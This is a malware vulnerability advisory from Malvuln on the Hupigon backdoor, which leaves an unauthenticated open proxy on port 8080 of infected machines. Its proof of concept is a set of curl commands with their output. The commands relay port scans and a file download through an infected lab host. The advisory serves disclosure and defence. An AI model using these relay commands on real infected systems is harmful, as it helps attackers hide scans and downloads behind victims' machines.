Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/7e99aa748b61fd0802fa19cf9e4cf1f8.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Hupigon.gsy Vulnerability: Unauthenticated Open Proxy Description: The malware listens on TCP port 8080 and drops its executable under Windows dir. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. Type: PE32 MD5: 7e99aa748b61fd0802fa19cf9e4cf1f8 Vuln ID: MVID-2021-0271 Dropped files: winsed.com.cn.exe Disclosure: 07/03/2021 Exploit/PoC: Scan port 110) curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110" -v Rebuilt URL to: http://192.168.18.129:8080/ Trying 192.168.18.129... TCP_NODELAY set Connected to 192.168.18.129 (192.168.18.129) port 8080 (#0) GET / HTTP/1.1 Host: 192.168.18.128:110 User-Agent: curl/7.55.1 Accept: */* +OK INetSim POP3 Server ready <55025.1625188304@pop3host> -ERR Unknown command. Scan port 21) curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21" -v Rebuilt URL to: http://192.168.18.129:8080/ Trying 192.168.18.129... TCP_NODELAY set Connected to 192.168.18.129 (192.168.18.129) port 8080 (#0) GET / HTTP/1.1 Host: 192.168.18.128:21 User-Agent: curl/7.55.1 Accept: */* 220 INetSim FTP Service ready. 500 Unknown command. Download filez) curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" -v --out DOOM.exe Trying 192.168.18.129... GET /DOOM.exe HTTP/1.1 Host: 192.168.18.128 User-Agent: curl/7.55.1 Accept: */* HTTP 1.0, assume close after body HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.6 Date: Fri, 02 Jul 2021 01:14:31 GMT Content-type: application/x-msdos-program Content-Length: 103533 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT { [102194 bytes data] 100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 717k * Closing connection 0 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).